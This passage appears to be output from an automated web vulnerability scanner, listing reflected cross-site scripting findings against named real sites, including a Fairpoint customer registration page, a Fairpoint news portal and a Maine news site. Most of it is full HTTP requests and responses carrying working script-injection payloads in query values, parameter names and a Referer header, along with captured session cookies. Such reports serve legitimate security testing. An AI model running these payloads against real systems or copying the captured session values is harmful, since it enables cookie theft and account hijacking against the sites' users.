HTTP/1.1 200 OK Date: Tue, 30 Nov 2010 14:18:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Language: en Cache-Control: no-cache Pragma: no-cache Content-Type: text/html;charset=UTF-8 Set-Cookie: _sn=MQNYdO3DE22Tu.iQf1kPWAA7h-Wv6KSgSUPptnTAmvI_; Version=1; Path=/eCustomerReg_enu Content-Length: 571
<html><body><form action="/eCustomerReg_enu/start.swe" method="GET" name="RedirectForHost"><input type = "hidden" name="_sn" value="MQNYdO3DE22Tu.iQf1kPWAA7h-Wv6KSgSUPptnTAmvI_"> <input type = "hidde ...[SNIP]... </script>e62f7<script>alert(1)</script>ed21b27f2b3" value=""> ...[SNIP]...
The value of the '%22--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E request parameter is copied into the HTML document as plain text between tags. The payload ffc2f<script>alert(1)</script>17022155750 was submitted in the '%22--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /eCustomerReg_enu/start.swe?'%22--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Effc2f<script>alert(1)</script>17022155750 HTTP/1.1 Host: crmext.fairpoint.com Connection: keep-alive Cache-Control: max-age=0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=35652279.996491807.1291129174.1291129174.1291129174.1; __utmc=35652279; __utmz=35652279.1291129174.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); ObSSOCookie=loggedoutcontinue; __utmb=35652279
Response
HTTP/1.1 200 OK Date: Tue, 30 Nov 2010 14:15:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Language: en Cache-Control: no-cache Pragma: no-cache Content-Type: text/html;charset=UTF-8 Set-Cookie: _sn=SeeFTKGIJmpeelIVDtf2BSIl3TmwfKQn35ZgVA7uJe0_; Version=1; Path=/eCustomerReg_enu Content-Length: 578
<html><body><form action="/eCustomerReg_enu/start.swe" method="GET" name="RedirectForHost"><input type = "hidden" name="_sn" value="SeeFTKGIJmpeelIVDtf2BSIl3TmwfKQn35ZgVA7uJe0_"> <input type = "hidde ...[SNIP]... </script>ffc2f<script>alert(1)</script>17022155750" value=""> ...[SNIP]...
1.26. https://crmext.fairpoint.com/eCustomerReg_enu/start.swe [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://crmext.fairpoint.com
Path:
/eCustomerReg_enu/start.swe
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e738"><script>alert(1)</script>39003435130 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /eCustomerReg_enu/start.swe?'%22--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&1e738"><script>alert(1)</script>39003435130=1 HTTP/1.1 Host: crmext.fairpoint.com Connection: keep-alive Cache-Control: max-age=0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=35652279.996491807.1291129174.1291129174.1291129174.1; __utmc=35652279; __utmz=35652279.1291129174.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); ObSSOCookie=loggedoutcontinue; __utmb=35652279
Response
HTTP/1.1 200 OK Date: Tue, 30 Nov 2010 14:15:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Language: en Cache-Control: no-cache Pragma: no-cache Content-Type: text/html;charset=UTF-8 Set-Cookie: _sn=6vBs3Z624NZIe2ycGCR1jatun5tGFazEP8yZedlhVgE_; Version=1; Path=/eCustomerReg_enu Content-Length: 623
<html><body><form action="/eCustomerReg_enu/start.swe" method="GET" name="RedirectForHost"><input type = "hidden" name="_sn" value="6vBs3Z624NZIe2ycGCR1jatun5tGFazEP8yZedlhVgE_"> <input type = "hidde ...[SNIP]... <input type = "hidden" name="1e738"><script>alert(1)</script>39003435130" value="1"> ...[SNIP]...
The value of the ArticleID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 10271"%3balert(1)//0e62cd76bbc was submitted in the ArticleID parameter. This input was echoed as 10271";alert(1)//0e62cd76bbc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /fairpoint/portal/NewsChannel.aspx?ArticleID=D9JQFHJ0010271"%3balert(1)//0e62cd76bbc&CatID=Entertainment HTTP/1.1 Host: myfairpoint.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://myfairpoint.net/fairpoint/portal/entertainmentch.aspx Cookie: __utmz=109326873.1291129547.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DomainUserProfile=AnonymousId=4b4a49d0ac0c4e17abb520966490cb01&LastSeenDateTime=11/30/2010 2:10:05 PM&IssueDateTime=11/30/2010 2:07:06 PM&CookieDomain=.myfairpoint.net; DomainSession=TransactionId=0e5abbe1af094afba4fd20966490cb01&SessionId=8d3664a1d22c49c69e8920966490cb01&PrevActionId=9c63c88e52144f44b1ea20966490cb01&ActionId=0ab7f213101c4afd87a320966490cb01&CookieDomain=.myfairpoint.net; mitiktaun=553817354.20480.0000; __utma=109326873.1156949127.1291129547.1291129547.1291129547.1; __utmc=109326873; __utmb=109326873.1.10.1291129547; ASP.NET_SessionId=c3yueh554ngktnm5y5h24s45; EncryptedSession=HxD824yasSxTfrN3cj0krxEVUeKZgYb9IDd4S47aaKhp/dXj83LOiONASJRlLnREJqWqdebhfC3i2hPDfWbysA==; .ASPXANONYMOUS=k1s-K6xMzXBjCY4Qfjys64aCRUanMtDlkYcrRW2ly8OEPmOeIOnj9CybuVZXgYzURXVb0ran1ar9voYlpI851tubHpB5Bj-fYEodwMCcekGm8bS77C1YWZYdZru5q7WCDSmSAS72b5ceC8B3ReZO1nAy7C9JcuUjBENIn3YhhW8_cxS30;
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f903"><script>alert(1)</script>5f03991dd7e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /sports/hsblog/index.xml HTTP/1.1 Host: centralmaine.mainetoday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=8f903"><script>alert(1)</script>5f03991dd7e
Response
HTTP/1.1 404 Not Found Date: Tue, 30 Nov 2010 14:01:23 GMT Server: Apache X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Content-Length: 567 Connection: close Content-Type: text/html; charset=ISO-8859-1